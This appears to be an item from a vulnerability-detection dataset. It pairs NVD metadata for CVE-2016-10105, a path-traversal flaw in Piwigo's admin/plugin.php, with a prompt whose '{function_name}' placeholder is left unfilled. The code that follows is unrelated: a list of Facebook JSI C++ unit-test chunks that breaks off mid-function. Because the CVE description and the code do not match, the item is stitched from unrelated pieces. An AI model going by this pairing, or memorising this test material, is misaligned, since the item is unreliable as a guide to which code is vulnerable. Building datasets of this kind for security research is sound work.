{"buggy_code_end_loc": [38], "buggy_code_start_loc": [35], "filenames": ["admin/plugin.php"], "fixing_code_end_loc": [45], "fixing_code_start_loc": [35], "message": "admin/plugin.php in Piwigo through 2.8.3 doesn't validate the sections variable while using it to include files. This can cause information disclosure and code execution if it contains a .. sequence.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*", "matchCriteriaId": "78E1C4D0-B42E-4FF9-9DB3-313B2A4A8251", "versionEndExcluding": null, "versionEndIncluding": "2.8.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "admin/plugin.php in Piwigo through 2.8.3 doesn't validate the sections variable while using it to include files. This can cause information disclosure and code execution if it contains a .. sequence."}, {"lang": "es", "value": "admin/plugin.php en Piwigo hasta la versi\u00f3n 2.8.3 no valida el variable de secciones al usarlo para incluir archivos. Esto puede provocar la divulgaci\u00f3n de informaci\u00f3n y la ejecuci\u00f3n de c\u00f3digo si contiene una secuencia .. ."}], "evaluatorComment": null, "id": "CVE-2016-10105", "lastModified": "2017-01-05T02:59:03.323", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2017-01-03T06:59:00.137", "references": [{"source": "cve@mitre.org", "tags": null, "url": "http://www.securityfocus.com/bid/95202"}, {"source": "cve@mitre.org", "tags": ["Issue Tracking", "Patch"], "url": "https://github.com/Piwigo/Piwigo/commit/8796e43aa344681d92a92e1f9b985409d4f36e31"}, {"source": "cve@mitre.org", "tags": ["Issue Tracking", "Patch"], "url": "https://github.com/Piwigo/Piwigo/commit/9004fdfc0b4a11cb32e9e15a5f67e4ec827e82dc"}, {"source": "cve@mitre.org", "tags": ["Issue Tracking", "Patch", "Third Party Advisory"], "url": "https://github.com/Piwigo/Piwigo/issues/574#issuecomment-267938358"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-284"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/Piwigo/Piwigo/commit/8796e43aa344681d92a92e1f9b985409d4f36e31"}, "type": "CWE-200"}
137
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */", "#include <jsi/test/testlib.h>\n#include <gtest/gtest.h>\n#include <jsi/decorator.h>\n#include <jsi/jsi.h>", "#include <stdlib.h>\n#include <chrono>\n#include <functional>\n#include <thread>\n#include <unordered_map>\n#include <unordered_set>", "using namespace facebook::jsi;", "class JSITest : public JSITestBase {};", "TEST_P(JSITest, RuntimeTest) {\n auto v = rt.evaluateJavaScript(std::make_unique<StringBuffer>(\"1\"), \"\");\n EXPECT_EQ(v.getNumber(), 1);", " rt.evaluateJavaScript(std::make_unique<StringBuffer>(\"x = 1\"), \"\");\n EXPECT_EQ(rt.global().getProperty(rt, \"x\").getNumber(), 1);\n}", "TEST_P(JSITest, PropNameIDTest) {\n // This is a little weird to test, because it doesn't really exist\n // in JS yet. All I can do is create them, compare them, and\n // receive one as an argument to a HostObject.", " PropNameID quux = PropNameID::forAscii(rt, \"quux1\", 4);\n PropNameID movedQuux = std::move(quux);\n EXPECT_EQ(movedQuux.utf8(rt), \"quux\");\n movedQuux = PropNameID::forAscii(rt, \"quux2\");\n EXPECT_EQ(movedQuux.utf8(rt), \"quux2\");\n PropNameID copiedQuux = PropNameID(rt, movedQuux);\n EXPECT_TRUE(PropNameID::compare(rt, movedQuux, copiedQuux));", " EXPECT_TRUE(PropNameID::compare(rt, movedQuux, movedQuux));\n EXPECT_TRUE(PropNameID::compare(\n rt, movedQuux, PropNameID::forAscii(rt, std::string(\"quux2\"))));\n EXPECT_FALSE(PropNameID::compare(\n rt, movedQuux, PropNameID::forAscii(rt, std::string(\"foo\"))));\n uint8_t utf8[] = {0xF0, 0x9F, 0x86, 0x97};\n PropNameID utf8PropNameID = PropNameID::forUtf8(rt, utf8, sizeof(utf8));\n EXPECT_EQ(utf8PropNameID.utf8(rt), u8\"\\U0001F197\");\n EXPECT_TRUE(PropNameID::compare(\n rt, utf8PropNameID, PropNameID::forUtf8(rt, utf8, sizeof(utf8))));\n PropNameID nonUtf8PropNameID = PropNameID::forUtf8(rt, \"meow\");\n EXPECT_TRUE(PropNameID::compare(\n rt, nonUtf8PropNameID, PropNameID::forAscii(rt, \"meow\")));\n EXPECT_EQ(nonUtf8PropNameID.utf8(rt), \"meow\");\n PropNameID strPropNameID =\n PropNameID::forString(rt, String::createFromAscii(rt, \"meow\"));\n EXPECT_TRUE(PropNameID::compare(rt, nonUtf8PropNameID, strPropNameID));", " auto names = PropNameID::names(\n rt, \"Ala\", std::string(\"ma\"), PropNameID::forAscii(rt, \"kota\"));\n EXPECT_EQ(names.size(), 3);\n EXPECT_TRUE(\n PropNameID::compare(rt, names[0], PropNameID::forAscii(rt, \"Ala\")));\n EXPECT_TRUE(\n PropNameID::compare(rt, names[1], PropNameID::forAscii(rt, \"ma\")));\n EXPECT_TRUE(\n PropNameID::compare(rt, names[2], PropNameID::forAscii(rt, \"kota\")));\n}", "TEST_P(JSITest, StringTest) {\n EXPECT_TRUE(checkValue(String::createFromAscii(rt, \"foobar\", 3), \"'foo'\"));\n EXPECT_TRUE(checkValue(String::createFromAscii(rt, \"foobar\"), \"'foobar'\"));", " std::string baz = \"baz\";\n EXPECT_TRUE(checkValue(String::createFromAscii(rt, baz), \"'baz'\"));", " uint8_t utf8[] = {0xF0, 0x9F, 0x86, 0x97};\n EXPECT_TRUE(checkValue(\n String::createFromUtf8(rt, utf8, sizeof(utf8)), \"'\\\\uD83C\\\\uDD97'\"));", " EXPECT_EQ(eval(\"'quux'\").getString(rt).utf8(rt), \"quux\");\n EXPECT_EQ(eval(\"'\\\\u20AC'\").getString(rt).utf8(rt), \"\\xe2\\x82\\xac\");", " String quux = String::createFromAscii(rt, \"quux\");\n String movedQuux = std::move(quux);\n EXPECT_EQ(movedQuux.utf8(rt), \"quux\");\n movedQuux = String::createFromAscii(rt, \"quux2\");\n EXPECT_EQ(movedQuux.utf8(rt), \"quux2\");\n}", "TEST_P(JSITest, ObjectTest) {\n eval(\"x = {1:2, '3':4, 5:'six', 'seven':['eight', 'nine']}\");\n Object x = rt.global().getPropertyAsObject(rt, \"x\");\n EXPECT_EQ(x.getPropertyNames(rt).size(rt), 4);\n EXPECT_TRUE(x.hasProperty(rt, \"1\"));\n EXPECT_TRUE(x.hasProperty(rt, PropNameID::forAscii(rt, \"1\")));\n EXPECT_FALSE(x.hasProperty(rt, \"2\"));\n EXPECT_FALSE(x.hasProperty(rt, PropNameID::forAscii(rt, \"2\")));\n EXPECT_TRUE(x.hasProperty(rt, \"3\"));\n EXPECT_TRUE(x.hasProperty(rt, PropNameID::forAscii(rt, \"3\")));\n EXPECT_TRUE(x.hasProperty(rt, \"seven\"));\n EXPECT_TRUE(x.hasProperty(rt, PropNameID::forAscii(rt, \"seven\")));\n EXPECT_EQ(x.getProperty(rt, \"1\").getNumber(), 2);\n EXPECT_EQ(x.getProperty(rt, PropNameID::forAscii(rt, \"1\")).getNumber(), 2);\n EXPECT_EQ(x.getProperty(rt, \"3\").getNumber(), 4);\n Value five = 5;\n EXPECT_EQ(\n x.getProperty(rt, PropNameID::forString(rt, five.toString(rt)))\n .getString(rt)\n .utf8(rt),\n \"six\");", " x.setProperty(rt, \"ten\", 11);\n EXPECT_EQ(x.getPropertyNames(rt).size(rt), 5);\n EXPECT_TRUE(eval(\"x.ten == 11\").getBool());", " x.setProperty(rt, \"e_as_float\", 2.71f);\n EXPECT_TRUE(eval(\"Math.abs(x.e_as_float - 2.71) < 0.001\").getBool());", " x.setProperty(rt, \"e_as_double\", 2.71);\n EXPECT_TRUE(eval(\"x.e_as_double == 2.71\").getBool());", " uint8_t utf8[] = {0xF0, 0x9F, 0x86, 0x97};\n String nonAsciiName = String::createFromUtf8(rt, utf8, sizeof(utf8));\n x.setProperty(rt, PropNameID::forString(rt, nonAsciiName), \"emoji\");\n EXPECT_EQ(x.getPropertyNames(rt).size(rt), 8);\n EXPECT_TRUE(eval(\"x['\\\\uD83C\\\\uDD97'] == 'emoji'\").getBool());", " Object seven = x.getPropertyAsObject(rt, \"seven\");\n EXPECT_TRUE(seven.isArray(rt));\n Object evalf = rt.global().getPropertyAsObject(rt, \"eval\");\n EXPECT_TRUE(evalf.isFunction(rt));", " Object movedX = Object(rt);\n movedX = std::move(x);\n EXPECT_EQ(movedX.getPropertyNames(rt).size(rt), 8);\n EXPECT_EQ(movedX.getProperty(rt, \"1\").getNumber(), 2);", " Object obj = Object(rt);\n obj.setProperty(rt, \"roses\", \"red\");\n obj.setProperty(rt, \"violets\", \"blue\");\n Object oprop = Object(rt);\n obj.setProperty(rt, \"oprop\", oprop);\n obj.setProperty(rt, \"aprop\", Array(rt, 1));", " EXPECT_TRUE(function(\"function (obj) { return \"\n \"obj.roses == 'red' && \"\n \"obj['violets'] == 'blue' && \"\n \"typeof obj.oprop == 'object' && \"\n \"Array.isArray(obj.aprop); }\")\n .call(rt, obj)\n .getBool());", " // Check that getPropertyNames doesn't return non-enumerable\n // properties.\n obj = function(\n \"function () {\"\n \" obj = {};\"\n \" obj.a = 1;\"\n \" Object.defineProperty(obj, 'b', {\"\n \" enumerable: false,\"\n \" value: 2\"\n \" });\"\n \" return obj;\"\n \"}\")\n .call(rt)\n .getObject(rt);\n EXPECT_EQ(obj.getProperty(rt, \"a\").getNumber(), 1);\n EXPECT_EQ(obj.getProperty(rt, \"b\").getNumber(), 2);\n Array names = obj.getPropertyNames(rt);\n EXPECT_EQ(names.size(rt), 1);\n EXPECT_EQ(names.getValueAtIndex(rt, 0).getString(rt).utf8(rt), \"a\");\n}", "TEST_P(JSITest, HostObjectTest) {\n class ConstantHostObject : public HostObject {\n Value get(Runtime&, const PropNameID& sym) override {\n return 9000;\n }", " void set(Runtime&, const PropNameID&, const Value&) override {}\n };", " Object cho =\n Object::createFromHostObject(rt, std::make_shared<ConstantHostObject>());\n EXPECT_TRUE(function(\"function (obj) { return obj.someRandomProp == 9000; }\")\n .call(rt, cho)\n .getBool());\n EXPECT_TRUE(cho.isHostObject(rt));\n EXPECT_TRUE(cho.getHostObject<ConstantHostObject>(rt).get() != nullptr);", " struct SameRuntimeHostObject : HostObject {\n SameRuntimeHostObject(Runtime& rt) : rt_(rt){};", " Value get(Runtime& rt, const PropNameID& sym) override {\n EXPECT_EQ(&rt, &rt_);\n return Value();\n }", " void set(Runtime& rt, const PropNameID& name, const Value& value) override {\n EXPECT_EQ(&rt, &rt_);\n }", " std::vector<PropNameID> getPropertyNames(Runtime& rt) override {\n EXPECT_EQ(&rt, &rt_);\n return {};\n }", " Runtime& rt_;\n };", " Object srho = Object::createFromHostObject(\n rt, std::make_shared<SameRuntimeHostObject>(rt));\n // Test get's Runtime is as expected\n function(\"function (obj) { return obj.isSame; }\").call(rt, srho);\n // ... and set\n function(\"function (obj) { obj['k'] = 'v'; }\").call(rt, srho);\n // ... and getPropertyNames\n function(\"function (obj) { for (k in obj) {} }\").call(rt, srho);", " class TwiceHostObject : public HostObject {\n Value get(Runtime& rt, const PropNameID& sym) override {\n return String::createFromUtf8(rt, sym.utf8(rt) + sym.utf8(rt));\n }", " void set(Runtime&, const PropNameID&, const Value&) override {}\n };", " Object tho =\n Object::createFromHostObject(rt, std::make_shared<TwiceHostObject>());\n EXPECT_TRUE(function(\"function (obj) { return obj.abc == 'abcabc'; }\")\n .call(rt, tho)\n .getBool());\n EXPECT_TRUE(function(\"function (obj) { return obj['def'] == 'defdef'; }\")\n .call(rt, tho)\n .getBool());\n EXPECT_TRUE(function(\"function (obj) { return obj[12] === '1212'; }\")\n .call(rt, tho)\n .getBool());\n EXPECT_TRUE(tho.isHostObject(rt));\n EXPECT_TRUE(\n std::dynamic_pointer_cast<ConstantHostObject>(tho.getHostObject(rt)) ==\n nullptr);\n EXPECT_TRUE(tho.getHostObject<TwiceHostObject>(rt).get() != nullptr);", " class PropNameIDHostObject : public HostObject {\n Value get(Runtime& rt, const PropNameID& sym) override {\n if (PropNameID::compare(rt, sym, PropNameID::forAscii(rt, \"undef\"))) {\n return Value::undefined();\n } else {\n return PropNameID::compare(\n rt, sym, PropNameID::forAscii(rt, \"somesymbol\"));\n }\n }", " void set(Runtime&, const PropNameID&, const Value&) override {}\n };", " Object sho = Object::createFromHostObject(\n rt, std::make_shared<PropNameIDHostObject>());\n EXPECT_TRUE(sho.isHostObject(rt));\n EXPECT_TRUE(function(\"function (obj) { return obj.undef; }\")\n .call(rt, sho)\n .isUndefined());\n EXPECT_TRUE(function(\"function (obj) { return obj.somesymbol; }\")\n .call(rt, sho)\n .getBool());\n EXPECT_FALSE(function(\"function (obj) { return obj.notsomuch; }\")\n .call(rt, sho)\n .getBool());", " class BagHostObject : public HostObject {\n public:\n const std::string& getThing() {\n return bag_[\"thing\"];\n }", " private:\n Value get(Runtime& rt, const PropNameID& sym) override {\n if (sym.utf8(rt) == \"thing\") {\n return String::createFromUtf8(rt, bag_[sym.utf8(rt)]);\n }\n return Value::undefined();\n }", " void set(Runtime& rt, const PropNameID& sym, const Value& val) override {\n std::string key(sym.utf8(rt));\n if (key == \"thing\") {\n bag_[key] = val.toString(rt).utf8(rt);\n }\n }", " std::unordered_map<std::string, std::string> bag_;\n };", " std::shared_ptr<BagHostObject> shbho = std::make_shared<BagHostObject>();\n Object bho = Object::createFromHostObject(rt, shbho);\n EXPECT_TRUE(bho.isHostObject(rt));\n EXPECT_TRUE(function(\"function (obj) { return obj.undef; }\")\n .call(rt, bho)\n .isUndefined());\n EXPECT_EQ(\n function(\"function (obj) { obj.thing = 'hello'; return obj.thing; }\")\n .call(rt, bho)\n .toString(rt)\n .utf8(rt),\n \"hello\");\n EXPECT_EQ(shbho->getThing(), \"hello\");", " class ThrowingHostObject : public HostObject {\n Value get(Runtime& rt, const PropNameID& sym) override {\n throw std::runtime_error(\"Cannot get\");\n }", " void set(Runtime& rt, const PropNameID& sym, const Value& val) override {\n throw std::runtime_error(\"Cannot set\");\n }\n };", " Object thro =\n Object::createFromHostObject(rt, std::make_shared<ThrowingHostObject>());\n EXPECT_TRUE(thro.isHostObject(rt));\n std::string exc;\n try {\n function(\"function (obj) { return obj.thing; }\").call(rt, thro);\n } catch (const JSError& ex) {\n exc = ex.what();\n }\n EXPECT_NE(exc.find(\"Cannot get\"), std::string::npos);\n exc = \"\";\n try {\n function(\"function (obj) { obj.thing = 'hello'; }\").call(rt, thro);\n } catch (const JSError& ex) {\n exc = ex.what();\n }\n EXPECT_NE(exc.find(\"Cannot set\"), std::string::npos);", " class NopHostObject : public HostObject {};\n Object nopHo =\n Object::createFromHostObject(rt, std::make_shared<NopHostObject>());\n EXPECT_TRUE(nopHo.isHostObject(rt));\n EXPECT_TRUE(function(\"function (obj) { return obj.thing; }\")\n .call(rt, nopHo)\n .isUndefined());", " std::string nopExc;\n try {\n function(\"function (obj) { obj.thing = 'pika'; }\").call(rt, nopHo);\n } catch (const JSError& ex) {\n nopExc = ex.what();\n }\n EXPECT_NE(nopExc.find(\"TypeError: \"), std::string::npos);", " class HostObjectWithPropertyNames : public HostObject {\n std::vector<PropNameID> getPropertyNames(Runtime& rt) override {\n return PropNameID::names(\n rt, \"a_prop\", \"1\", \"false\", \"a_prop\", \"3\", \"c_prop\");\n }\n };", " Object howpn = Object::createFromHostObject(\n rt, std::make_shared<HostObjectWithPropertyNames>());\n EXPECT_TRUE(\n function(\n \"function (o) { return Object.getOwnPropertyNames(o).length == 5 }\")\n .call(rt, howpn)\n .getBool());", " auto hasOwnPropertyName = function(\n \"function (o, p) {\"\n \" return Object.getOwnPropertyNames(o).indexOf(p) >= 0\"\n \"}\");\n EXPECT_TRUE(\n hasOwnPropertyName.call(rt, howpn, String::createFromAscii(rt, \"a_prop\"))\n .getBool());\n EXPECT_TRUE(\n hasOwnPropertyName.call(rt, howpn, String::createFromAscii(rt, \"1\"))\n .getBool());\n EXPECT_TRUE(\n hasOwnPropertyName.call(rt, howpn, String::createFromAscii(rt, \"false\"))\n .getBool());\n EXPECT_TRUE(\n hasOwnPropertyName.call(rt, howpn, String::createFromAscii(rt, \"3\"))\n .getBool());\n EXPECT_TRUE(\n hasOwnPropertyName.call(rt, howpn, String::createFromAscii(rt, \"c_prop\"))\n .getBool());\n EXPECT_FALSE(hasOwnPropertyName\n .call(rt, howpn, String::createFromAscii(rt, \"not_existing\"))\n .getBool());", "", "}", "TEST_P(JSITest, ArrayTest) {\n eval(\"x = {1:2, '3':4, 5:'six', 'seven':['eight', 'nine']}\");", " Object x = rt.global().getPropertyAsObject(rt, \"x\");\n Array names = x.getPropertyNames(rt);\n EXPECT_EQ(names.size(rt), 4);\n std::unordered_set<std::string> strNames;\n for (size_t i = 0; i < names.size(rt); ++i) {\n Value n = names.getValueAtIndex(rt, i);\n EXPECT_TRUE(n.isString());\n strNames.insert(n.getString(rt).utf8(rt));\n }", " EXPECT_EQ(strNames.size(), 4);\n EXPECT_EQ(strNames.count(\"1\"), 1);\n EXPECT_EQ(strNames.count(\"3\"), 1);\n EXPECT_EQ(strNames.count(\"5\"), 1);\n EXPECT_EQ(strNames.count(\"seven\"), 1);", " Object seven = x.getPropertyAsObject(rt, \"seven\");\n Array arr = seven.getArray(rt);", " EXPECT_EQ(arr.size(rt), 2);\n EXPECT_EQ(arr.getValueAtIndex(rt, 0).getString(rt).utf8(rt), \"eight\");\n EXPECT_EQ(arr.getValueAtIndex(rt, 1).getString(rt).utf8(rt), \"nine\");\n // TODO: test out of range", " EXPECT_EQ(x.getPropertyAsObject(rt, \"seven\").getArray(rt).size(rt), 2);", " // Check that property access with both symbols and strings can access\n // array values.\n EXPECT_EQ(seven.getProperty(rt, \"0\").getString(rt).utf8(rt), \"eight\");\n EXPECT_EQ(seven.getProperty(rt, \"1\").getString(rt).utf8(rt), \"nine\");\n seven.setProperty(rt, \"1\", \"modified\");\n EXPECT_EQ(seven.getProperty(rt, \"1\").getString(rt).utf8(rt), \"modified\");\n EXPECT_EQ(arr.getValueAtIndex(rt, 1).getString(rt).utf8(rt), \"modified\");\n EXPECT_EQ(\n seven.getProperty(rt, PropNameID::forAscii(rt, \"0\"))\n .getString(rt)\n .utf8(rt),\n \"eight\");\n seven.setProperty(rt, PropNameID::forAscii(rt, \"0\"), \"modified2\");\n EXPECT_EQ(arr.getValueAtIndex(rt, 0).getString(rt).utf8(rt), \"modified2\");", " Array alpha = Array(rt, 4);\n EXPECT_TRUE(alpha.getValueAtIndex(rt, 0).isUndefined());\n EXPECT_TRUE(alpha.getValueAtIndex(rt, 3).isUndefined());\n EXPECT_EQ(alpha.size(rt), 4);\n alpha.setValueAtIndex(rt, 0, \"a\");\n alpha.setValueAtIndex(rt, 1, \"b\");\n EXPECT_EQ(alpha.length(rt), 4);\n alpha.setValueAtIndex(rt, 2, \"c\");\n alpha.setValueAtIndex(rt, 3, \"d\");\n EXPECT_EQ(alpha.size(rt), 4);", " EXPECT_TRUE(\n function(\n \"function (arr) { return \"\n \"arr.length == 4 && \"\n \"['a','b','c','d'].every(function(v,i) { return v === arr[i]}); }\")\n .call(rt, alpha)\n .getBool());", " Array alpha2 = Array(rt, 1);\n alpha2 = std::move(alpha);\n EXPECT_EQ(alpha2.size(rt), 4);\n}", "TEST_P(JSITest, FunctionTest) {\n // test move ctor\n Function fmove = function(\"function() { return 1 }\");\n {\n Function g = function(\"function() { return 2 }\");\n fmove = std::move(g);\n }\n EXPECT_EQ(fmove.call(rt).getNumber(), 2);", " // This tests all the function argument converters, and all the\n // non-lvalue overloads of call().\n Function f = function(\n \"function(n, b, d, df, i, s1, s2, s3, s_sun, s_bad, o, a, f, v) { \"\n \"return \"\n \"n === null && \"\n \"b === true && \"\n \"d === 3.14 && \"\n \"Math.abs(df - 2.71) < 0.001 && \"\n \"i === 17 && \"\n \"s1 == 's1' && \"\n \"s2 == 's2' && \"\n \"s3 == 's3' && \"\n \"s_sun == 's\\\\u2600' && \"\n \"typeof s_bad == 'string' && \"\n \"typeof o == 'object' && \"\n \"Array.isArray(a) && \"\n \"typeof f == 'function' && \"\n \"v == 42 }\");\n EXPECT_TRUE(f.call(\n rt,\n nullptr,\n true,\n 3.14,\n 2.71f,\n 17,\n \"s1\",\n String::createFromAscii(rt, \"s2\"),\n std::string{\"s3\"},\n std::string{u8\"s\\u2600\"},\n // invalid UTF8 sequence due to unexpected continuation byte\n std::string{\"s\\x80\"},\n Object(rt),\n Array(rt, 1),\n function(\"function(){}\"),\n Value(42))\n .getBool());", " // lvalue overloads of call()\n Function flv = function(\n \"function(s, o, a, f, v) { return \"\n \"s == 's' && \"\n \"typeof o == 'object' && \"\n \"Array.isArray(a) && \"\n \"typeof f == 'function' && \"\n \"v == 42 }\");", " String s = String::createFromAscii(rt, \"s\");\n Object o = Object(rt);\n Array a = Array(rt, 1);\n Value v = 42;\n EXPECT_TRUE(flv.call(rt, s, o, a, f, v).getBool());", " Function f1 = function(\"function() { return 1; }\");\n Function f2 = function(\"function() { return 2; }\");\n f2 = std::move(f1);\n EXPECT_EQ(f2.call(rt).getNumber(), 1);\n}", "TEST_P(JSITest, FunctionThisTest) {\n Function checkPropertyFunction =\n function(\"function() { return this.a === 'a_property' }\");", " Object jsObject = Object(rt);\n jsObject.setProperty(rt, \"a\", String::createFromUtf8(rt, \"a_property\"));", " class APropertyHostObject : public HostObject {\n Value get(Runtime& rt, const PropNameID& sym) override {\n return String::createFromUtf8(rt, \"a_property\");\n }", " void set(Runtime&, const PropNameID&, const Value&) override {}\n };\n Object hostObject =\n Object::createFromHostObject(rt, std::make_shared<APropertyHostObject>());", " EXPECT_TRUE(checkPropertyFunction.callWithThis(rt, jsObject).getBool());\n EXPECT_TRUE(checkPropertyFunction.callWithThis(rt, hostObject).getBool());\n EXPECT_FALSE(checkPropertyFunction.callWithThis(rt, Array(rt, 5)).getBool());\n EXPECT_FALSE(checkPropertyFunction.call(rt).getBool());\n}", "TEST_P(JSITest, FunctionConstructorTest) {\n Function ctor = function(\n \"function (a) {\"\n \" if (typeof a !== 'undefined') {\"\n \" this.pika = a;\"\n \" }\"\n \"}\");\n ctor.getProperty(rt, \"prototype\")\n .getObject(rt)\n .setProperty(rt, \"pika\", \"chu\");\n auto empty = ctor.callAsConstructor(rt);\n EXPECT_TRUE(empty.isObject());\n auto emptyObj = std::move(empty).getObject(rt);\n EXPECT_EQ(emptyObj.getProperty(rt, \"pika\").getString(rt).utf8(rt), \"chu\");\n auto who = ctor.callAsConstructor(rt, \"who\");\n EXPECT_TRUE(who.isObject());\n auto whoObj = std::move(who).getObject(rt);\n EXPECT_EQ(whoObj.getProperty(rt, \"pika\").getString(rt).utf8(rt), \"who\");", " auto instanceof = function(\"function (o, b) { return o instanceof b; }\");\n EXPECT_TRUE(instanceof.call(rt, emptyObj, ctor).getBool());\n EXPECT_TRUE(instanceof.call(rt, whoObj, ctor).getBool());", " auto dateCtor = rt.global().getPropertyAsFunction(rt, \"Date\");\n auto date = dateCtor.callAsConstructor(rt);\n EXPECT_TRUE(date.isObject());\n EXPECT_TRUE(instanceof.call(rt, date, dateCtor).getBool());\n // Sleep for 50 milliseconds\n std::this_thread::sleep_for(std::chrono::milliseconds(50));\n EXPECT_GE(\n function(\"function (d) { return (new Date()).getTime() - d.getTime(); }\")\n .call(rt, date)\n .getNumber(),\n 50);\n}", "TEST_P(JSITest, InstanceOfTest) {\n auto ctor = function(\"function Rick() { this.say = 'wubalubadubdub'; }\");\n auto newObj = function(\"function (ctor) { return new ctor(); }\");\n auto instance = newObj.call(rt, ctor).getObject(rt);\n EXPECT_TRUE(instance.instanceOf(rt, ctor));\n EXPECT_EQ(\n instance.getProperty(rt, \"say\").getString(rt).utf8(rt), \"wubalubadubdub\");\n EXPECT_FALSE(Object(rt).instanceOf(rt, ctor));\n EXPECT_TRUE(ctor.callAsConstructor(rt, nullptr, 0)\n .getObject(rt)\n .instanceOf(rt, ctor));\n}", "TEST_P(JSITest, HostFunctionTest) {\n auto one = std::make_shared<int>(1);\n Function plusOne = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"plusOne\"),\n 2,\n [one, savedRt = &rt](\n Runtime& rt, const Value& thisVal, const Value* args, size_t count) {\n EXPECT_EQ(savedRt, &rt);\n // We don't know if we're in strict mode or not, so it's either global\n // or undefined.\n EXPECT_TRUE(\n Value::strictEquals(rt, thisVal, rt.global()) ||\n thisVal.isUndefined());\n return *one + args[0].getNumber() + args[1].getNumber();\n });", " EXPECT_EQ(plusOne.call(rt, 1, 2).getNumber(), 4);\n EXPECT_TRUE(checkValue(plusOne.call(rt, 3, 5), \"9\"));\n rt.global().setProperty(rt, \"plusOne\", plusOne);\n EXPECT_TRUE(eval(\"plusOne(20, 300) == 321\").getBool());", " Function dot = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"dot\"),\n 2,\n [](Runtime& rt, const Value& thisVal, const Value* args, size_t count) {\n EXPECT_TRUE(\n Value::strictEquals(rt, thisVal, rt.global()) ||\n thisVal.isUndefined());\n if (count != 2) {\n throw std::runtime_error(\"expected 2 args\");\n }\n std::string ret = args[0].getString(rt).utf8(rt) + \".\" +\n args[1].getString(rt).utf8(rt);\n return String::createFromUtf8(\n rt, reinterpret_cast<const uint8_t*>(ret.data()), ret.size());\n });", " rt.global().setProperty(rt, \"cons\", dot);\n EXPECT_TRUE(eval(\"cons('left', 'right') == 'left.right'\").getBool());\n EXPECT_TRUE(eval(\"cons.name == 'dot'\").getBool());\n EXPECT_TRUE(eval(\"cons.length == 2\").getBool());\n EXPECT_TRUE(eval(\"cons instanceof Function\").getBool());", " EXPECT_TRUE(eval(\"(function() {\"\n \" try {\"\n \" cons('fail'); return false;\"\n \" } catch (e) {\"\n \" return ((e instanceof Error) &&\"\n \" (e.message == 'Exception in HostFunction: ' +\"\n \" 'expected 2 args'));\"\n \" }})()\")\n .getBool());", " Function coolify = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"coolify\"),\n 0,\n [](Runtime& rt, const Value& thisVal, const Value* args, size_t count) {\n EXPECT_EQ(count, 0);\n std::string ret = thisVal.toString(rt).utf8(rt) + \" is cool\";\n return String::createFromUtf8(\n rt, reinterpret_cast<const uint8_t*>(ret.data()), ret.size());\n });\n rt.global().setProperty(rt, \"coolify\", coolify);\n EXPECT_TRUE(eval(\"coolify.name == 'coolify'\").getBool());\n EXPECT_TRUE(eval(\"coolify.length == 0\").getBool());\n EXPECT_TRUE(eval(\"coolify.bind('R&M')() == 'R&M is cool'\").getBool());\n EXPECT_TRUE(eval(\"(function() {\"\n \" var s = coolify.bind(function(){})();\"\n \" return s.lastIndexOf(' is cool') == (s.length - 8);\"\n \"})()\")\n .getBool());", " Function lookAtMe = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"lookAtMe\"),\n 0,\n [](Runtime& rt, const Value& thisVal, const Value* args, size_t count)\n -> Value {\n EXPECT_TRUE(thisVal.isObject());\n EXPECT_EQ(\n thisVal.getObject(rt)\n .getProperty(rt, \"name\")\n .getString(rt)\n .utf8(rt),\n \"mr.meeseeks\");\n return Value();\n });\n rt.global().setProperty(rt, \"lookAtMe\", lookAtMe);\n EXPECT_TRUE(eval(\"lookAtMe.bind({'name': 'mr.meeseeks'})()\").isUndefined());", " struct Callable {\n Callable(std::string s) : str(s) {}", " Value\n operator()(Runtime& rt, const Value&, const Value* args, size_t count) {\n if (count != 1) {\n return Value();\n }\n return String::createFromUtf8(\n rt, args[0].toString(rt).utf8(rt) + \" was called with \" + str);\n }", " std::string str;\n };", " Function callable = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"callable\"),\n 1,\n Callable(\"std::function::target\"));\n EXPECT_EQ(\n function(\"function (f) { return f('A cat'); }\")\n .call(rt, callable)\n .getString(rt)\n .utf8(rt),\n \"A cat was called with std::function::target\");\n EXPECT_TRUE(callable.isHostFunction(rt));\n EXPECT_NE(callable.getHostFunction(rt).target<Callable>(), nullptr);", " std::string strval = \"strval1\";\n auto getter = Object(rt);\n getter.setProperty(\n rt,\n \"get\",\n Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"getter\"),\n 1,\n [&strval](\n Runtime& rt,\n const Value& 